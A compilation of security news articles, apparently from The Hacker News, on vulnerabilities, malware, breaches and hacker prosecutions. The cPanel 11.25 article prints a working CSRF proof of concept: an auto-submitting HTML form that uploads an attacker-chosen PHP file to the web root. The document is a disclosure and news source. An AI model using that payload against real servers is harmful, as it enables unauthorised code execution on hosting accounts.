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CVE-2012-0217 - Intel SYSRET FreeBSD Privilege Escalation Exploit Released | https://thehackernews.com/2012/07/cve-2012-0217-intel-sysret-freebsd.html | The Vulnerability reported on 06/12/2012, dubbed as "CVE-2012-0217" - according to that Some 64-bit operating systems and virtualization software running on Intel CPU hardware are vulnerable to a local privilege escalation attack. The vulnerability may be exploited for local privilege escalation or a guest-to-host virtual machine escape.
FreeBSD/amd64 runs on CPUs from different vendors. Due to varying behaviour of CPUs in 64 bit mode a sanity check of the kernel may be insufficient when returning from a system call. Successful exploitation of the problem can lead to local kernel privilege escalation, kernel data corruption and/or crash.
Inj3ct0r team today released related private exploit on their website, which allow normal FreeBSD users to Privilege Escalation. All systems running 64 bit Xen hypervisor running 64 bit PV guests onIntel CPUs are vulnerable to this issue.
However FreeBSD/amd64 running on AMD CPUs is not vulnerable to thisparticular problem.Systems with 64 bit capable CPUs, but running the 32 bit FreeBSD/i386kernel are not vulnerable, nor are systems running on differentprocessor architectures.
Download the relevant patch from the location below:
# fetch https://security.FreeBSD.org/patches/SA-12:04/sysret.patch
# fetch https://security.FreeBSD.org/patches/SA-12:04/sysret.patch.asc
# fetch https://security.FreeBSD.org/patches/SA-12:04/sysret-81.patch
# fetch https://security.FreeBSD.org/patches/SA-12:04/sysret-81.patch.asc
[8.1 if original sysret.patch has been applied]
# fetch https://security.FreeBSD.org/patches/SA-12:04/sysret-81-correction.patch
# fetch https://security.FreeBSD.org/patches/SA-12:04/sysret-81-correction.patch.asc
How to Apply the patch ?
# cd /usr/src
# patch < /path/to/patch
After Recompile your kernel as described and reboot the system and update system
# freebsd-update fetch
# freebsd-update install
DOWNLOAD "FreeBSD Privilege Escalation Exploit"
| Vulnerability |
Backdoor in Android for No-Permissions Reverse Shell | https://thehackernews.com/2011/12/backdoor-in-android-for-no-permissions.html | Backdoor in Android for No-Permissions Reverse Shell
Security expert Thomas Cannon working at viaForensics as the Director of R&D has demonstrated a custom-developed app that installs a backdoor in Android smartphones – without requiring any permissions or exploiting any security holes.
Thomas built an app which requires no permissions and yet is able to give an attacker a remote shell and allow them to execute commands on the device remotely from anywhere in the world. The functionality they are exploiting to do this is not new, it has been quietly pointed out for a number of years, and was explained in depth at Defcon 18.
It is not a zero-day exploit or a root exploit. They are using Android the way it was designed to work, but in a clever way in order to establish a 2-way communication channel. This has been tested on Android versions ranging from 1.5 up to 4.0 Ice Cream Sandwich, and it works in a similar way on all platforms.
The application operates by instructing the browser to access a particular web page with specific parameters. This web page, and the server behind it, will, in turn, control the app by forwarding the browser to a URL that starts with a protocol prefix that is registered as being handled by the app, for example app://. This process can then be repeated and in doing so it enables two-way communication.
"In this demonstration Android's power and flexibility were perhaps also its downfall. Other smartphone platforms may not offer the controls we are bypassing at all, and the multi-tasking capabilities in Android allowed us to run the attack almost transparently to the user. This power combined with the open nature of Android also facilitates the customisation of the system to meet bespoke security requirements. This is something we have even been involved in ourselves by implementing a proof of concept Loadable Kernel Module to pro-actively monitor and defend a client's intellectual property as it passed through their devices. It is no surprise that we have seen adoption of Android research projects in the military and government as it can be enhanced and adapted for specific security requirements, perhaps like no other mobile platform before it." Thomas Cannon said.
| Vulnerability |
British Hacker Sentenced to 5 Years for Blackmailing U.S. Companies | https://thehackernews.com/2020/09/british-hacker-jailed.html | A UK man who threatened to publicly release stolen confidential information unless the victims agreed to fulfill his digital extortion demands has finally pleaded guilty on Monday at U.S. federal district court in St. Louis, Missouri.
Nathan Francis Wyatt , 39, who is a key member of the infamous international hacking group 'The Dark Overlord,' has been sentenced to five years in prison and ordered to pay $1,467,048 in restitution to his victims.
Wyatt, who was extradited to the United States late last year after being held for over two years in the United Kingdom, has pleaded guilty to conspiring to commit aggravated identity theft and computer fraud.
U.K. police first arrested Wyatt in September 2016 during an investigation into the hacking of an iCloud account belonging to Pippa Middleton, the younger sister of the British royal family member Duchess of Cambridge, and stealing 3,000 images of her.
Though he was released in that case without charge due to lack of evidence, Wyatt was again arrested in September 2017 over hacking companies, credit card frauds, and blackmailing schemes to extort money from the victims.
According to court documents, Wyatt has attacked multiple healthcare providers and accounting firms in Missouri, Illinois, and Georgia states as a member of The Dark Overlord since February 2016, but the court documents do not name the companies.
The Dark Overlord (TDO) is infamous for remotely accessing the computer networks of victim companies in the United States and then stealing sensitive data, like patient medical records and personal identifying information.
"The Dark Overlord has victimized innumerable employers in the United States, many of them repeatedly," said U.S Attorney Jeff Jensen. "I am grateful to the victims who came forward despite ransom threats and to the prosecutors and agents who were the first to catch and punish a member of The Dark Overlord in the United States."
Wyatt admitted that his hacking gang members typically worked by obtaining sensitive data from victim companies and then threatening them to release the stolen data unless they paid a ransom of between $75,000 and $350,000 in bitcoin.
Wyatt's role at TDO was directly contacting victims and maintaining communication, payment, and virtual private network accounts that he used to send threatening and extortionate messages to victims and their family and friends.
In one such threatening message, Wyatt sent to the victims involved the daughter of one of the owners of the Farmington company, asking her, "hi ... you look peaceful ... by the way did your daddy tell you he refused to pay us when we stole his company files?," adding that "In four days we will be releasing for sale thousands of patient info. including yours."
"Nathan Wyatt used his technical skills to prey on Americans' private data and exploited the sensitive nature of their medical and financial records for his own personal gain," said Acting Assistant Attorney General Brian C. Rabbitt of the DOJ's Criminal Division.
"Today's guilty plea and sentence demonstrate the department's commitment to ensuring that hackers who seek to profit by illegally invading the privacy of Americans will be found and held accountable, no matter where they may be located."
The Dark Overload has previously been attributed to several hacking events, including leaking ten unreleased episodes of the 5th season of ' Orange Is The New Black' series from Netflix and hacking Gorilla Glue , Little Red Door cancer service agency, among others.
| Cyber_Attack |
Detekt — Free Anti-Malware Tool To Detect Govt. Surveillance Malware | https://thehackernews.com/2014/11/detekt-free-anti-malware-tool-to-detect_20.html | Human rights experts and Privacy International have launched a free tool allowing users to scan their computers for surveillance spyware, typically used by governments and other organizations to spy on human rights activists and journalists around the world.
This free-of-charge anti-surveillance tool, called Detekt, is an open source software app released in partnership with Human rights charity Amnesty International, Germany's Digitale Gesellschaft, the Electronic Frontier Foundation (EFF) and Privacy International, in order to combat government surveillance.
NEED AN EYE FOR AN EYE
The global surveillance carried out by the US National Security Agency (NSA) and other government agencies recently disclosed by the former NSA contractor Edward Snowden shed light on just how far our own government can go to keep track of citizens, whether innocent or otherwise. Therefore, such tool will help them see if their devices have been infected by any spyware.
Detekt was developed by security researcher Claudio Guarnieri, who has been investigating government abuse of spyware for years and often collaborates with other researchers at University of Toronto's Citizen Lab.
"It was intended as a triaging utility for human rights workers travelling around. It is not an AV [AntiVirus]," explained the developer Claudio Guarnieri in an online discussion about the tool on Twitter with other security researchers.
With the help of Detekt scanning tool in investigations, Guarnieri and his colleagues discovered, for example, that the Bahraini government used FinSpy, surveillance spyware developed by German firm FinFisher. Among other, FinSpy software has ability to monitor Skype conversations, take screenshots and photos using a device's camera, record microphone use, emails, voice-over-IP and extract files from hard discs.
Moreover, Guarnieri's team also found that the Ethiopian government spied on journalists and activists in the U.S. and Europe, using a software developed by Hacking Team, another company that sells off-the-shelf surveillance tools, and similar companies.
"Governments are increasingly using dangerous and sophisticated technology that allows them to read activists and journalists' private emails and remotely turn on their computer's camera or microphone to secretly record their activities," Amnesty head of military, security and police Marek Marczynski said in a statement. "They use the technology in a cowardly attempt to prevent abuses from being exposed."
"Detekt is a simple tool that will alert activists to such intrusions so they can take action. It represents a strike back against governments who are using information obtained through surveillance to arbitrarily detain, illegally arrest and even torture human rights defenders and journalists."
DOWNLOAD DETEKT ANTI-SURVEILLANCE TOOL
You can Download Detekt here.
Detekt, for now, has been designed for Windows PC users to scan their machines for known surveillance spyware that its developers warn is used to target and monitor specifically human rights defenders and journalists across the globe. The tool is not yet supported on the 64-bit version of Windows 8.1.
Detekt scans computers for infection patterns associated with several families of remote access Trojans (RATs) including DarkComet RAT, XtremeRAT, BlackShades RAT, njRAT, FinFisher FinSpy, HackingTeam RCS, ShadowTech RAT and Gh0st RAT.
"If Detekt does not find anything, this unfortunately cannot be considered a clean bill of health," the Detekt software's Readme file warns.
The tool can make you aware of the presence of spyware, but it is by no means 100 percent effective, and can't detect all types of spywares. So, the human rights group is encouraging software developers to contribute to the project.
| Malware |
New Apache Struts Zero-Day Vulnerability Being Exploited in the Wild | https://thehackernews.com/2017/03/apache-struts-framework.html | Security researchers have discovered a Zero-Day vulnerability in the popular Apache Struts web application framework, which is being actively exploited in the wild.
Apache Struts is a free, open-source, Model-View-Controller (MVC) framework for creating elegant, modern Java web applications, which supports REST, AJAX, and JSON.
In a blog post published Monday, Cisco's Threat intelligence firm Talos announced the team observed a number of active attacks against the zero-day vulnerability (CVE-2017-5638) in Apache Struts.
According to the researchers, the issue is a remote code execution vulnerability in the Jakarta Multipart parser of Apache Struts that could allow an attacker to execute malicious commands on the server when uploading files based on the parser.
"It is possible to perform an RCE attack with a malicious Content-Type value," warned Apache. "If the Content-Type value isn't valid an exception is thrown which is then used to display an error message to a user."
The vulnerability, documented at Rapid7's Metasploit Framework GitHub site, has been patched by Apache. So, if you are using the Jakarta-based file upload Multipart parser under Apache Struts 2, you are advised to upgrade to Apache Struts version 2.3.32 or 2.5.10.1 immediately.
Exploit Code Publicly Released
Since the Talos researchers detected public proof-of-concept (PoC) exploit code (which was uploaded to a Chinese site), the vulnerability is quite dangerous.
The researchers even detected "a high number of exploitation events," the majority of which seem to be leveraging the publicly released PoC that is being used to run various malicious commands.
In some cases, the attackers executed simple "whoami" commands to see if the target system is vulnerable, while in others, the malicious attacks turned off firewall processes on the target and dropped payloads.
"Final steps include downloading a malicious payload from a web server and execution of said payload," the researchers say. "The payloads have varied but include an IRC bouncer, a DoS bot, and a sample related to the Bill Gates botnet... A payload is downloaded and executed from a privileged account."
Attackers also attempted to gain persistence on infected hosts by adding a binary to the boot-up routine.
According to the researchers, the attackers tried to copy the file to a benign directory and ensure "that both the executable runs and that the firewall service will be disabled when the system boots."
Both Cisco and Apache researchers urge administrators to upgrade their systems to Apache Struts version 2.3.32 or 2.5.10.1 as soon as possible. Admins can also switch to a different implementation of the Multipart parser.
| Vulnerability |
Dutch News site spread Malware on 100000 Computers | https://thehackernews.com/2012/03/dutch-news-site-spread-malware-on.html | Dutch News site spread Malware on 100000 Computers
Dutch popular news site NU.nl appears to be serving Java exploit (drive-by malware) to users of IE. Nu.nl has approximately one hour long served the Javascript code that attempted to provide visitors to the news site with a trojan to infect. The attackers made use of servers in India which an exploit kit was placed.
The Ministry of Security and Justice issue a warning for malware yesterday by Nu.nl estimated to have infected 100,000 computers. Erik Loman, developer at security firm SurfRight, made known on Twitter on the front page of the news javascript code 'g.js' was blocked. The code triggered by Loman a nuclear exploit pack on a web server in India was placed.
The exploit script checked the browser and common plugins like Flash and Adobe Reader security hole. If an exploit was found, the server sent the Sinowal-malware, a trojan of Russian origin, which is continuously updated and attempts to steal bank details.
Officials at Nu.nl said that an account for the content management system Wednesday 'has fallen into the wrong hands. They confirm that the malware has been deleted now, Also new login information was distributed to managers and editors.
| Malware |
Exfiltrating Data from Air-Gapped Computers via Wi-Fi Signals (Without Wi-Fi Hardware) | https://thehackernews.com/2020/12/exfiltrating-data-from-air-gapped.html | A security researcher has demonstrated that sensitive data could be exfiltrated from air-gapped computers via a novel technique that leverages Wi-Fi signals as a covert channel—surprisingly, without requiring the presence of Wi-Fi hardware on the targeted systems.
Dubbed "AIR-FI," the attack hinges on deploying a specially designed malware in a compromised system that exploits "DDR SDRAM buses to generate electromagnetic emissions in the 2.4 GHz Wi-Fi bands" and transmitting information atop these frequencies that can then be intercepted and decoded by nearby Wi-Fi capable devices such as smartphones, laptops, and IoT devices before sending the data to remote servers controlled by an attacker.
The findings were published today in a paper titled "AIR-FI: Generating Covert Wi-Fi Signals from Air-Gapped Computers" by Dr. Mordechai Guri, the head of R&D at Ben-Gurion University of the Negev's Cyber-Security Research Center, Israel.
"The AIR-FI attack [...] does not require Wi-Fi related hardware in the air-gapped computers," Dr. Guri outlined.
"Instead, an attacker can exploit the DDR SDRAM buses to generate electromagnetic emissions in the 2.4 GHz Wi-Fi bands and encode binary data on top of it."
Dr. Guri, earlier this May, also demonstrated POWER-SUPPLaY, a separate mechanism that allows the malware to exploit a computer's power supply unit (PSU) to play sounds and use it as an out-of-band, secondary speaker to leak data.
Air-gapped computers — machines with no network interfaces — are considered a necessity in environments where sensitive data is involved in an attempt to reduce the risk of data leakage.
Thus in order to carry out attacks against such systems, it is often essential that the transmitting and receiving machines be located in close physical proximity to one another and that they are infected with the appropriate malware to establish the communication link.
But AIR-FI is unique in that the method neither relies on a Wi-Fi transmitter to generate signals nor requires kernel drivers, special privileges such as root, or access to hardware resources to transmit the data.
What's more, the covert channel works even from within an isolated virtual machine and has an endless list of Wi-Fi enabled devices that can be hacked by an attacker to act as a potential receiver.
The kill chain in itself consists of an air-gapped computer onto which the malware is deployed via social engineering lures, self-propagating worms such as Agent.BTZ, tampered USB flash drives, or even with the help of malicious insiders.
It also requires infecting Wi-Fi capable devices co-located in the air-gapped network by compromising the firmware of the Wi-Fi chips to install malware capable of detecting and decoding the AIR-FI transmission and exfiltrating the data over the Internet.
With this setup in place, the malware on the target system collects the relevant data (e.g., confidential documents, credentials, encryption keys), which is then encoded and transmitted in the Wi-Fi band at 2.4 GHz frequency using the electromagnetic emissions generated from the DDR SDRAM buses used to exchange data between the CPU and the memory, thus defeating air-gap isolation.
To generate the Wi-Fi signals, the attack makes use of the data bus (or memory bus) to emit electromagnetic radiation at a frequency correlated to the DDR memory module and the memory read/write operations executed by processes currently running in the system.
AIR-FI was evaluated using four types of workstations with different RAM and hardware configurations as well as a software-defined radio (SDR) and a USB Wi-Fi network adapter that functioned as the receiver, finding that the covert channel can be effectively maintained at distances up to several meters from air-gapped computers and achieving bit rates ranging from 1 to 100 bit/sec, depending on the type and mode of receiver used.
If anything, the new research is yet another reminder that electromagnetic, acoustic, thermal, and optical components continue to be lucrative vectors to mount sophisticated exfiltration attacks against air-gapped facilities.
As a countermeasure, Dr. Guri proposes zone protections to safeguard against electromagnetic attacks, enabling intrusion detection systems to monitor and inspect for processes that perform intensive memory transfer operations, jamming the signals, and using Faraday shields to block the covert channel.
The AIR-FI malware shows "how attackers can exfiltrate data from air-gapped computers to a nearby Wi-Fi receiver via Wi-Fi signals," he added.
"Modern IT environments are equipped with many types of Wi-Fi capable devices: smartphones, laptops, IoT devices, sensors, embedded systems, and smart watches, and other wearables devices. The attacker can potentially hack such equipment to receive the AIR-FI transmissions from air-gapped computers."
| Cyber_Attack |
Deadly Simple Exploit Bypasses Apple Gatekeeper Security to Install Malicious Apps | https://thehackernews.com/2015/09/hack-macos-gatekeeper-security.html | Apple Mac Computers are considered to be invulnerable to malware, but the new Exploit discovered by security researchers proves it indeed quite false.
Patrick Wardle, director of research at security firm Synack, has found a deadly simple way that completely bypass one of the core security features in Mac OS X i.e. Gatekeeper.
Introduced in July of 2012, Gatekeeper is Apple's anti-malware feature designed to keep untrusted and malicious applications from wreaking havoc on Macs.
However, Wardle has found a quick and simple way to trick Gatekeeper into letting malicious apps through on Mac OS X machines, even if the protection is set to open apps downloaded only from the Mac App Store.
According to the researcher, before allowing any apps to execute on an OS X machine, Gatekeeper performs a number of checks, such as:
Checking the initial digital certificate of a downloaded app
Ensuring the app has been signed with an Apple-recognized developer certificate
Ensuring the app has been originated from the official App Store
Gatekeeper's Failure
However, what Gatekeeper fails to do is – checking whether the app already trusted by OS X runs or loads other files from the same folder.
This means once Gatekeeper approved an app, it pays no more attention to what that app does. The approved app can execute one or more malicious files, which could then install a variety of malicious programs, including:
Password loggers
Malicious apps that capture audio and video
Botnet software
and many more…
The proof-of-concept exploit developed by Wardle does exactly the same.
How to Bypass Gatekeeper in OS X?
All Wardle has done is:
Identified an already-signed binary file (Binary A) that runs a separate app (Binary B) located in the same folder
Renamed Binary A
Swapped out the legitimate Binary B with a malicious one
Then bundled malicious file in the same folder under the same file name, Binary B
Now, Binary B needs no digital certificate or Apple developer certificate to run, so it can be used to install anything the attacker wants, completely bypassing Gatekeeper.
Same Attack Works with Plugins
Wardle said, a similar method to bypass Gatekeeper also works with plugins. All an attacker needs to do is:
Find an application that loads plugins
Substitute your malicious software for one of those plugins
Again Gatekeeper will check the first installer app, and won't warn users of the malicious plugins.
Wardle's exploit works on OS X Yosemite, and all versions, including El Capitan, the upcoming release.
Wardle said that he tested his exploit on the most recent beta version of El Capitan – released recently to developers – and he was still able to bypass Gatekeeper.
The researcher privately alerted Apple of the Gatekeeper vulnerability more than 60 days ago, and the company is working on a patch that will be delivered to users as soon as possible.
"If I can find it, you have to assume groups of hackers or more sophisticated nation states have found similar weaknesses," Wardle told Ars. "I am sure there are other Apple-signed apps out there" that can also be abused to bypass Gatekeeper."
Wardle will present his findings on Thursday at the Virus Bulletin Conference in Prague, Czech Republic.
| Vulnerability |
Passwordstate Warns of Ongoing Phishing Attacks Following Data Breach | https://thehackernews.com/2021/04/passwordstate-warns-of-ongoing-phishing.html | Click Studios, the Australian software firm which confirmed a supply chain attack affecting its Passwordstate password management application, has warned customers of an ongoing phishing attack by an unknown threat actor.
"We have been advised a bad actor has commenced a phishing attack with a small number of customers having received emails requesting urgent action," the company said in an updated advisory released on Wednesday. "These emails are not sent by Click Studios."
Last week, Click Studios said attackers had employed sophisticated techniques to compromise Passwordstate's update mechanism, using it to drop malware on user computers. Only customers who performed In-Place Upgrades between April 20, 8:33 PM UTC, and April 22, 0:30 AM UTC are said to be affected.
While Passwordstate serves about 29,000 customers, the Adelaide-based firm maintained that the total number of impacted customers is very low. It's also urging users to refrain from posting correspondence from the company on social media, stating the actor behind the breach is actively monitoring such platforms for information pertaining to the attack in order to exploit it to their advantage for carrying out related intrusions.
The original attack was carried out via a trojanized Passwordstate update file containing a modified DLL ("moserware.secretsplitter.dll") that, in turn, extracted retrieved a second-stage payload from a remote server so as to extract sensitive information from compromised systems. As a countermeasure, Click Studios released a hotfix package named "Moserware.zip'' to help customers remove the tampered DLL and advised affected users to reset all passwords stored in the password manager.
The newly spotted phishing attack involves crafting seemingly legitimate email messages that "replicate Click Studios email content" — based on the emails that were shared by customers on social media — to push a new variant of the malware.
"The phishing attack is requesting customers to download a modified hotfix Moserware.zip file, from a CDN Network not controlled by Click Studios, that now appears to have been taken down," the company said. "Initial analysis indicates this has a newly modified version of the malformed Moserware.SecretSplitter.dll, that on loading then attempts to use an alternate site to obtain the payload file."
The Passwordstate hack is the latest high-profile supply-chain attack to come to light in recent months, highlighting how sophisticated threat groups are targeting software built by third parties as a stepping-stone to break into sensitive government and corporate computer networks.
| Malware |
PayPal denies to pay Bug Bounty reward to teenager | https://thehackernews.com/2013/05/paypal-denies-to-pay-bug-bounty-reward.html | When coders and online security researchers find errors in websites or software, the companies behind the programs will often pay out a bounty to the person who discovered the issue. The programs are intended to create an incentive for researchers to privately report issues and allow vendors to release fixes before hackers take advantage of flaws.
A 17-year-old German student says he found a security flaw in PayPal's website but was denied a reward because he's too young. On PayPal's website, the company lists the terms for rewarding people who find bugs, but mentions nothing about the age of the discoverer.
The details of the vulnerability, i.e cross-site scripting flaw (XSS), is posted on Full Disclosure section.
In Past we have seen that many times PayPal tried to cheat with new security researchers by replying various reasons on reporting bugs i.e "already reported by someone else", "domain / sub-domain is not under bounty program", "we run out off bounty program budget this year" and this time "because the teen is not yet 18 years old."
Robert Kugler is a German student who has found bugs for companies like Microsoft and Mozilla in the past. His work on uncovering problems in Mozilla's Firefox browser has earned him about $4,500 over the past two years.
At last, he demanded from PayPal to acknowledge his finding and send him some documentation so that he can use it in a job application, but so far, he hasn't received anything.
| Vulnerability |
Universal Man in the Browser Attacks | https://thehackernews.com/2012/10/universal-man-in-browser-attack-targets.html | Researchers have discovered a new type of Man-in-the-Browser (MItB) attack that is Website independent, and does not target specific Websites, but instead collects data submitted to all sites.
Trusteer have discovered a new Man in the Browser (MitB) scam that can collects data submitted to all websites without the need for post-processing.
According to Trusteer's CTO Amit Klein: "In comparison, uMitB does not target a specific web site. Instead, it collects data entered in the browser at all websites and uses "generic" real time logic on the form submissions to perform the equivalent of post-processing. This attack can target victims of new infections as well as machines that were previously infected by updating the existing malware with a new configuration. The data stolen by uMitB malware is stored in a portal where it is organized and sold."
In a YouTube video, the company demonstrated how the attack could happen. The video showed how a user could enter personal and financial information in a Web form on multiple Websites. After submitting the forms, the video showed a screenshot of the console used by the cyber-attacker. The console displayed the credit card data harvested from those sites, in what appears to be real-time data extraction.
For example, it could be used to automate card fraud by integrating with and feeding freshly stolen information to card selling web sites. The impact of uMitB could be significant since information stolen in real-time is typically much more valuable than "stale" information, plus it eliminates the complexities associated with current post-processing approaches.
| Vulnerability |
New Critical Flaws in Treck TCP/IP Stack Affect Millions of IoT Devices | https://thehackernews.com/2020/12/new-critical-flaws-in-treck-tcpip-stack.html | The US Cybersecurity Infrastructure and Security Agency (CISA) has warned of critical vulnerabilities in a low-level TCP/IP software library developed by Treck that, if weaponized, could allow remote attackers to run arbitrary commands and mount denial-of-service (DoS) attacks.
The four flaws affect Treck TCP/IP stack version 6.0.1.67 and earlier and were reported to the company by Intel. Two of these are rated critical in severity.
Treck's embedded TCP/IP stack is deployed worldwide in manufacturing, information technology, healthcare, and transportation systems.
The most severe of them is a heap-based buffer overflow vulnerability (CVE-2020-25066) in the Treck HTTP Server component that could permit an adversary to crash or reset the target device and even execute remote code. It has a CVSS score of 9.8 out of a maximum of 10.
The second flaw is an out-of-bounds write in the IPv6 component (CVE-2020-27337, CVSS score 9.1) that could be exploited by an unauthenticated user to cause a DoS condition via network access.
Two other vulnerabilities concern an out-of-bounds read in the IPv6 component (CVE-2020-27338, CVSS score 5.9) that could be leveraged by an unauthenticated attacker to cause DoS and an improper input validation in the same module (CVE-2020-27336, CVSS score 3.7) that could result in an out-of-bounds read of up to three bytes via network access.
Treck recommends users to update the stack to version 6.0.1.68 to address the flaws. In cases where the latest patches cannot be applied, it's advised that firewall rules are implemented to filter out packets that contain a negative content-length in the HTTP header.
The disclosure of new flaws in Treck TCP/IP stack comes six months after Israeli cybersecurity company JSOF uncovered 19 vulnerabilities in the software library — dubbed Ripple20 — that could make it possible for attackers to gain complete control over targeted IoT devices without requiring any user interaction.
What's more, earlier this month, Forescout researchers revealed 33 vulnerabilities — collectively called AMNESIA:33 — impacting open-source TCP/IP protocol stacks that could be abused by a bad actor to take over a vulnerable system.
Given the complex IoT supply chain involved, the company has released a new detection tool called "project-memoria-detector" to identify whether a target network device runs a vulnerable TCP/IP stack in a lab setting.
You can access the tool via GitHub here.
| Vulnerability |
Security Alert : cPanel 11.25 CSRF vulnerability to upload any php Script ! | https://thehackernews.com/2011/05/security-alert-cpanel-1125-csrf.html | Security Alert : cPanel 11.25 CSRF vulnerability to upload any php Script !
cPanel versions below and excluding 11.25 , are vulnerable to CSRF which leads to uploading a PHP script of the attackers liking. If you have turned off security tokens and referrer security check, no matter what version you are using, you are vulnerable as well.
Proof Of Concept :
<html>
<form name="editform" action="
https://localhost:2082/frontend/x3/err/savefile.html" method=POST
onSubmit="return loadfdata();">
<input type="hidden" id="codepage" class="codepress html" name="page"
value="<?php echo 'ninjashell'; ?>">
<input type="hidden" name="domain" value="localhost">
<input type="hidden" value="public_html/" name="dir">
<input type="hidden" value="ninjashell.php" name="file">
<body onload="document.forms.editform.submit();">
</form>
</html>
Afterwards simply check for ninjashell.php in the directory.
Counter-measures
All cPanel versions starting from 11.25 and above have two in-built security features to prevent such attacks - security tokens and referrer security check. This means that if you are a cpanel client, you should update your
software.
The Vulnerability has been found & Submitted to us by Ninja-Shell , An Ethical hacker, Freelance security consultant/penetration tester & Security researcher in the spare time. He has Over 12 years of experience. You can Contact him at [email protected] .
| Vulnerability |
Hackers Accidentally Expose Passwords Stolen From Businesses On the Internet | https://thehackernews.com/2021/01/hackers-accidentally-expose-passwords.html | A new large-scale phishing campaign targeting global organizations has been found to bypass Microsoft Office 365 Advanced Threat Protection (ATP) and steal credentials belonging to over a thousand corporate employees.
The cyber offensive is said to have originated in August last year, with the attacks aimed specifically at energy and construction companies, said researchers from Check Point Research today in a joint analysis in partnership with industrial cybersecurity firm Otorio.
Although phishing campaigns engineered for credential theft are among the most prevalent reasons for data breaches, what makes this operation stand out is an operational security failure that led to the attackers unintentionally exposing the credentials they had stolen to the public Internet.
"With a simple Google search, anyone could have found the password to one of the compromised, stolen email addresses: a gift to every opportunistic attacker," the researchers said.
The attack chain commenced with phishing lures that purported to be Xerox (or Xeros) scan notifications containing an HTML file attachment, that when opened, urged recipients to enter their Office 365 passwords on a fake lookalike login page, which were then extracted and sent to a remote server in a text file.
The researchers noted the JavaScript code for exfiltrating the credentials was continuously polished and refined to the point of evading most antivirus vendors and creating a "realistic" user experience so as to trick victims into providing their login information.
To that end, the campaign banked on a mix of specialized infrastructure as well as compromised WordPress servers that were used as a "drop-zone" by the attackers to store the credentials, thereby leveraging the reputation of these existing websites to get around security software.
That the stolen credentials were stored on specific text files within these servers also means that search engines like Google can index those pages and make them accessible to any bad actor looking for compromised passwords with just an easy search.
What's more, by analyzing the different email headers used in this campaign, the researchers came to the conclusion that the emails were sent from a Linux server hosted on the Microsoft Azure platform using PHP Mailer 6.1.5 and delivered via 1&1 Ionos email servers.
"It is highly likely that the compromised IONOS account credentials were used by the attackers to send the rest of the Office 365 themed spam," the researchers noted.
To mitigate such threats, it's advised that users watch out for emails from unknown senders, lookalike domains, and spelling errors in emails or websites; refrain from clicking on suspicious links in emails; and follow password hygiene to secure accounts.
"We tend to believe that when someone steals our passwords, the worst case scenario is that the information will be used by hackers who exchange them through the dark net," Lotem Finkelsteen, head of threat intelligence at Check Point, said. "Not in this case. Here, the entire public had access to the information stolen."
"The strategy of the attackers was to store stolen information on a specific webpage that they created. That way, after the phishing campaigns ran for a certain time, the attackers can scan the compromised servers for the respective webpages, collecting credentials to steal. The attackers didn't think that if they are able to scan the Internet for those pages — Google can too. This was a clear operation security failure for the attackers."
| Cyber_Attack |
Microsoft Detects More Russian Cyber Attacks Ahead of Mid-Term Election | https://thehackernews.com/2018/08/russia-election-hacking.html | Microsoft claims to have uncovered another new Russian hacking attempts targeting United States' Senate and conservative think tanks ahead of the 2018 midterm elections.
The tech giant said Tuesday that the APT28 hacking group—also known as Strontium, Fancy Bear, Sofacy, Sednit, and Pawn Storm, which is believed to be tied to the Russian government—created at least six fake websites related to US Senate and conservative organizations to trick its visitors and hack into their computers.
Three fake web domains were intended to look as if they belonged to the U.S. Senate, while one non-political website spoofed Microsoft's own online products.
The two other phony websites were designed to mimic two U.S. conservative organizations:
The Hudson Institute — a conservative Washington think tank hosting extended discussions on topics including cybersecurity, among other important activities.
The International Republican Institute (IRI) — a nonprofit group that promotes democracy worldwide and whose board includes prominent Republican figures like Sen. John McCain, R-Ariz., and former Republican National Committee Chairman Frank Fahrenkopf.
Although there is no sign of hackers successful in getting any visitor to click on the fake websites, Microsoft said the fake sites were created over the past several months and registered with major web-hosting companies.
Microsoft did not go into more details, saying "To be clear, we currently have no evidence these domains were used in any successful attacks before the DCU transferred control of them, nor do we have evidence to indicate the identity of the ultimate targets of any planned attack involving these domains."
Microsoft's Digital Crimes Unit disabled the fake websites, after obtaining court approval last year, which was executed just last week, effectively allowing the company to seize the fake domains created by APT28 before they were "used in any successful attacks."
The tech giant has so far used the courts a dozen times since 2016 to shut down 84 fake websites created by APT28.
While speaking at the Aspen Security Forum last month, Microsoft VP Tom Burt said the company also took down a fake domain registered by APT28, after discovering that it was established for phishing attacks against at least three congressional candidates.
Active since at least 2007, the notorious hacking group has publicly been linked to the GRU (General Staff Main Intelligence Directorate), Russian secret military intelligence agency, and also been accused of a series of hacks in recent years, including the 2016 presidential election hack.
In a memorandum filed early in the case, Microsoft said APT28 sought to "establish a command and control infrastructure by which means Defendants conduct illegal activities, including attacks on computers and networks, monitoring of the activities of users, and the theft of information."
The revelation by Microsoft comes almost a month after US special counsel and former FBI director Robert Mueller filed charges against 12 Russian intelligence officers tied to the cyber attacks on the Democratic National Committee (DNC) during the 2016 election campaign.
| Cyber_Attack |
Apple App Store was vulnerable for more than Half year | https://thehackernews.com/2013/03/apple-app-store-was-vulnerable-for-more.html | A Google developer helps Apple to fixed a security flaw in its application store that for years has allowed attackers to steal passwords and install unwanted or extremely expensive applications.
Security loophole allowed attacker to hijack the connection, because Apple neglected to use encryption when an iPhone or other mobile device tries to connect to the App Store.
Researcher Elie Bursztein revealed on his blog that he had alerted Apple of numerous security issues last July but that Apple had only turned on HTTPS for the App Store last week.
An attacker only needs to be on the same network as the person who is using the App Store. From there, they can intercept the communications between the device and the App Store and insert their own commands.
The malicious user could take advantage of the unsecure connection to carry out a number of different attacks i.e steal a password, force someone to purchase an app by swapping it with a different app that the buyer actually intended to get or by showing fake app updates, prevent a person from installing an app by making it disappear from the App Store or force the App Store to show the entire list of apps installed on a device.
Bursztein has posted some videos that show the App Store holes in action, a couple of which can be found below:
He said that he alerted Apple to his findings back in early July of 2012, and Apple only turned on HTTPS encryption at the end of January and even the App Store existed for years without having HTTPS encryption.
| Vulnerability |
Hacker Wanted in the U.S. for Spreading Gozi Virus Arrested in Colombia | https://thehackernews.com/2021/06/hackers-wanted-in-us-for-spreading-gozi.html | Colombian authorities on Wednesday said they have arrested a Romanian hacker who is wanted in the U.S. for distributing a virus that infected more than a million computers from 2007 to 2012.
Mihai Ionut Paunescu (aka "Virus"), the individual in question, was detained at the El Dorado airport in Bogotá, the Office of the Attorney General of Colombia said.
Paunescu was previously charged by the U.S. Department of Justice (DoJ) in January 2013 for operating a bulletproof hosting service that "enabled cyber criminals to distribute the Gozi Virus, the Zeus Trojan and other notorious malware, and conduct other sophisticated cyber crimes." He was arrested in Romania in December 2012 but managed to avoid extradition to the U.S.
